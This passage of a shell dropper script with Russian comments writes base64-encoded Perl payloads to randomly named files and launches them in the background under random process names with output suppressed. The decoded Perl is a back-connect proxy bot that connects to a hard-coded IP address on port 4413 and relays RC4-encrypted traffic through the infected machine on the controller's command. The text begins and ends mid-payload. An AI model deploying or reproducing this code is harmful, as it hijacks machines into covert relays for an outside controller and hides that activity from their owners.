WyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJ CQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgbmV3Q29u bmVjdGlvbigkZWJ4LCBcQHNvY2tldGFycmF5LCAkc29ja2V0YXJyWzBdLCAkc29ja2V0YXJyWyRl YnhdLCAkYnVmZmVyMCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJCgkJCQkJIGVsc2UgewoJCQkJCQkg CgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbJGVieF0sIHN1YnN0cigkYnVmZmVyMCwgNCwgJHJlbWFp bmluZyksIE1TR19OT1NJR05BTCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWlu aW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJ CX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9 ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5n NDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0 YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAk cmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsK CQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSBpZiAoJHJlbWFpbmlu ZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAs IDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDEs IDEpKTsKCQkJCSAKCQkJCSAkZWR4ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmZXIwLCAyLCAy KSk7CgkJCSAKCQkJCSAkX3JldCA9IDE7CgkJCX0KCQkJCgkJfQoJfQoJCgkgY2xvc2UwOgoJIAoJ IGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkr KykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNF eGl0ID09IDEpIHsgZXhpdDsgfQoJIAoJIHJldHVybiAkX3JldDsKCn0KCmJjY25jdChcJGhvc3Qs IFwkcG9ydCk7Cg== BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 64 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xOTAnOwpteSAkcG9ydCA9IDQ0MTM7CgpteSAkeG9yZGF0YSA9ICJceDAw IiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgc3Vic3RyKCR4b3JkYXRh LCAkaSwgMSkgPSBwYWNrKCdDJywgcmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkg bXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkg bXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAk cG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9 IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkg JHBvY2tlbW9uNSA9IDA7CgkKCSBteSAkcG9ja2Vtb242ID0gMDsKCQoJIG15ICRwb2NrZW1vbjcg PSAwOwoJCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgkgCgkgbXkgJHJjeCA9ICRzejsKCSAKCSBteSAk cnNpID0gMDsKCSAKCSBteSAkcmJ4ID0gMDsKCSAKCSBteSAkZ3MgPSAwOwoJIAoJIG15ICR0ID0g MDsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPD0gMjU1OyAkaSsrKSB7IHN1YnN0cigkcmM0LCAk aSwgMSkgPSBwYWNrKCdDJywgJGkpOyB9CgkgCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZm MCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngs IDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkg aWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGls ZSgkcmN4ID4gMCk7CgkKCQoJIHdoaWxlKDEpIHsKCQkgCgkJIGlmICgkZ3MgPT0gMCkgewoJCQkg CgkJCSAkcG9ja2Vtb24yID0gMDsKCgkJCSAkcG9ja2Vtb24zID0gJGxlbmd0aDsKCQl9CgkJIAoJ CSBpZiAoJGdzICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMDsKCgkJCSAkcG9ja2Vtb24yKys7CgoJ CQkgaWYgKC0tJHBvY2tlbW9uMyA9PSAwKSB7IG5leHQ7IH0KCQkJIAoJCX0KCQkKCQkgJHBvY2tl bW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSk7CgkJIAoJCSAk dCA9IHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSk7CgoJCSAkcG9j a2Vtb24xICs9ICR0OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9j a2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsK CgkJICRwb2NrZW1vbjYgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkp OwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpID0gcGFjaygnQycsICRwb2NrZW1v bjYpOwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2Nr ZW1vbjcpOwoJCSAKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAg JiAyNTU7CgkJIAoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJ CSAKCQkJIG5leHQ7CgkJfQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9 IDA7CgoJCSAkcG9ja2Vtb24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9u MyA9IDA7CgkJIAoJCSB3aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9j a2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdW5wYWNrKCdDJywg c3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9j a2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1v bjggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkpOwoKCQkJIHN1YnN0 cigkcmM0LCAkcG9ja2Vtb24yLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb244KTsKCQkgCgkJCSBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNyk7CgoJCQkg JHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAm IDI1NTsKCgkJCSAkcG9ja2Vtb24wID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1v bjgsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uNSA9IHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcG9ja2Vtb24zLCAxKSk7CgoJCQkgJHBvY2tlbW9uNSA9ICRwb2NrZW1vbjUg XiAkcG9ja2Vtb24wOwoJCQkgCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9u MywgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNSk7CgkJCSAKCQkJICRwb2NrZW1vbjMrKzsKCQkJ IAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgkJCSAK CQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAkcmN4ID0gJHN6OwoJCgkgJHJi eCA9IDA7CgkKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkg PSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAx KSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwgMSkpKSk7CgkJIAoJCSAkcnNp Kys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3Ro KSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9Cgpz dWIgc3luc2VuZCB7CgkJCgkgbXkgJGNTb2NrZXQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmZl ciA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkZmxhZ3MJPSBzaGlmdChAXyk7CgoJIG9wZW4obXkgJGZo LCAiPCIsICcvZGV2L251bGwnKTsKCgkgZmxvY2soJGZoLCBMT0NLX0VYKTsKCSAKCSAjID09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgkgCgkgc2VuZCgkY1Nv Y2tldCwgJGJ1ZmZlciwgJGZsYWdzKTsKCSAKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CgkgCgkgZmxvY2soJGZoLCBMT0NLX1VOKTsKCgkgY2xvc2Uo JGZoKTsKfQoKc3ViIG5ld0Nvbm5lY3Rpb24gewoJCglteSAkbnVtID0gc2hpZnQoQF8pOwoJCglt eSAkc29ja2V0YXJyYXkgPSBzaGlmdChAXyk7CgkKCW15ICRzU29ja2V0ID0gc2hpZnQoQF8pOwoJ CglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCQoJbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJCiAg ICB0aHJlYWRzLT5jcmVhdGUoIHN1YiB7CgkJCgkJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRu dW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJ CQoJCW15ICRkb21haW4gPSAnJzsKCQkKCQlteSAkcG9ydCA9IDA7CgkJCgkJbXkgJF9yZXQgPSAw OwoJCQoJCW15ICRkYXRhID0gJyc7CgkJCgkJbXkgJGJ1ZmZlciA9ICcnOwoJCQoJCXNldHNvY2tv cHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkJCgkJZmNudGwoJGNT b2NrZXQsIEZfU0VURkwsIE9fTk9OQkxPQ0spOwoJCQoJCWlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmYwLCA3LCAxKSkgPT0gMykgewoJCQkKCQkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDks IHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEpKSk7CgkJCQoJCQkkcG9ydCA9IHVucGFj aygnUycsIHN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4LCAx KSkgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYwLCA5ICsgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwg OCwgMSkpICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQu JWQiLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMCwgMSkpLCB1bnBhY2soJ0MnLCBz dWJzdHIoJGJ1ZmYwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsg MiwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMywgMSkpKTsKCQkJCgkJCSRw b3J0ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYw LCAxMiArIDAsIDEpKTsKCQkJCgkJfQoJCQoJCWVsc2UgewoJCQkKCQkJIGdvdG8gY2xvc2VfOwoJ CX0KCQkKCQkgZXZhbCB7CgkJCSAKCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBp bmV0X2F0b24oJGRvbWFpbikpOwoJCQoJCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkg CgkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJGNTb2NrZXQpLCAxKSA9IDE7CgoJCQkgdW5s ZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCQkg CgkJCSBmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgMCk7CgkJIAoJCQkgc3Vic3RyKCRyZXNwb25j ZSwgNCwgMSkgPSAiXHgwMCI7CgkJIAoJCQkgJF9yZXQgPSAxOwoJCQkgCgkJIH07CgkJIAoJCSBj bG9zZV86CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7 CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAK CQkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCSAKCQkgUmM0 X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkgaWYgKCRfcmV0 ID09IDEpIHsKCQkJIAoJCQkgd2hpbGUgKCQkc29ja2V0YXJyYXlbJG51bV0gPT0gMSkgewoJCQkJ IAoJCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJCSAK CQkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCQkJ CSAKCQkJCSAkZGF0YSA9ICcnOwoKCQkJCSByZWN2KCRjU29ja2V0LCAkZGF0YSwgNjU1MzAsIDAp OwoJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRidWZmZXIgPSBw YWNrKCdDJywgJG51bSkucGFjaygnUycsIGxlbmd0aCgkZGF0YSkpLiRkYXRhOwoJCQkJIAoJCQkJ IFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMCwgMyk7CgkJIAoJCQkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJ CQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlciwgTVNHX05PU0lHTkFMKTsKCQkJCSAKCQkJfQoJ CX0KCQkKCQkgJCRzb2NrZXRhcnJheVskbnVtXSA9IDA7CgkJIAoJCSBjbG9zZSgkY1NvY2tldCk7 CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBzeW5zZW5kKCRz U29ja2V0LCBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSwgTVNHX05PU0lHTkFMKTsKCQkKICAgICAg ICAgdGhyZWFkcy0+ZGV0YWNoKCk7CiAgICB9KTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0 ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5p bmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJ IG15IEBzb2NrZXRhcnJheSA6c2hhcmVkOwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7 CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gJyc7 CgkgCgkgbXkgJGlzRXhpdCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7 CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7 CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNP Q0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tl dGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBz b2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVj dCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRi dWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAi XHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsK CSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2Vu ZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsK CQkgCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycs IGZpbGVubygkc29ja2V0YXJyWzBdKSwgMSkgPSAxOwoJCQkgCgkJCSBteSAkcmV0ID0gc2VsZWN0 KCRyaW4sIHVuZGVmLCB1bmRlZiwgNjApOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJ CSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZl cm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVt YWluaW5nICE9IDApOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJ IAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJ IAoJCQkJIHN5bnNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7 CgkJCQkgCgkJCQkgbmV4dDsKCQkJfQoJCQkgCgkJfQoJCSAKCQkgaWYgKCRyZW1haW5pbmcgIT0g MCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7CgkJCSAKCQkJIGlmICgkZWR4ID09IDApIHsKCQkJCSAK CQkJCSBpZiAoc3Vic3RyKCRidWZmZXIwLCAwLCAxKSBlcSAiXHhGRiIgJiYgc3Vic3RyKCRidWZm ZXIwLCAxLCAxKSBlcSAiXHhGRSIpIHsKCQkJCQkgCgkJCQkJICRpc0V4aXQgPSAxOwoJCQkJCSAK CQkJCQkgbGFzdDsKCQkJCQkgCgkJCQl9CgkJCQkgCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYg JGVieCA+IDApIHsKCQkJCSAKCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMDsKCQkJCSAKCQkJ CX0KCQkJCgkJCX0KCQkJCgkJCWVsc2UgewoJCQkJCgkJCQkgJGVjeCA9ICRlZHg7CgkJCQkKCQkJ CSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgkJCQkgCgkJCQkgJGRhdGEgPSAnJzsKCQkJCSAK CQkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRhLCAkZWN4LCAwKTsKCQkJCQoJCQkJIHVubGVz cyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gbGVuZ3RoKCRkYXRh KTsKCQkJCSAKCQkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJCSAKCQkJCSBpZiAoJGVkeCA9PSAk cmVtYWluaW5nKSB7CgkJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZm ZXIwLCA0LCAkcmVtYWluaW5nKTsKCQkJCQkgCgkJCQkJIGlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmZlcjAsIDAsIDEpKSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJy WyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJ CQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgbmV3Q29u bmVjdGlvbigkZWJ4LCBcQHNvY2tldGFycmF5LCAkc29ja2V0YXJyWzBdLCAkc29ja2V0YXJyWyRl YnhdLCAkYnVmZmVyMCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJCgkJCQkJIGVsc2UgewoJCQkJCQkg CgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbJGVieF0sIHN1YnN0cigkYnVmZmVyMCwgNCwgJHJlbWFp bmluZyksIE1TR19OT1NJR05BTCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWlu aW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJ CX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9 ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5n NDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0 YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAk cmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsK CQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSBpZiAoJHJlbWFpbmlu ZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAs IDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDEs IDEpKTsKCQkJCSAKCQkJCSAkZWR4ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmZXIwLCAyLCAy KSk7CgkJCSAKCQkJCSAkX3JldCA9IDE7CgkJCX0KCQkJCgkJfQoJfQoJCgkgY2xvc2UwOgoJIAoJ IGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkr KykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNF eGl0ID09IDEpIHsgZXhpdDsgfQoJIAoJIHJldHVybiAkX3JldDsKCn0KCmJjY25jdChcJGhvc3Qs IFwkcG9ydCk7Cg== BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 65 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 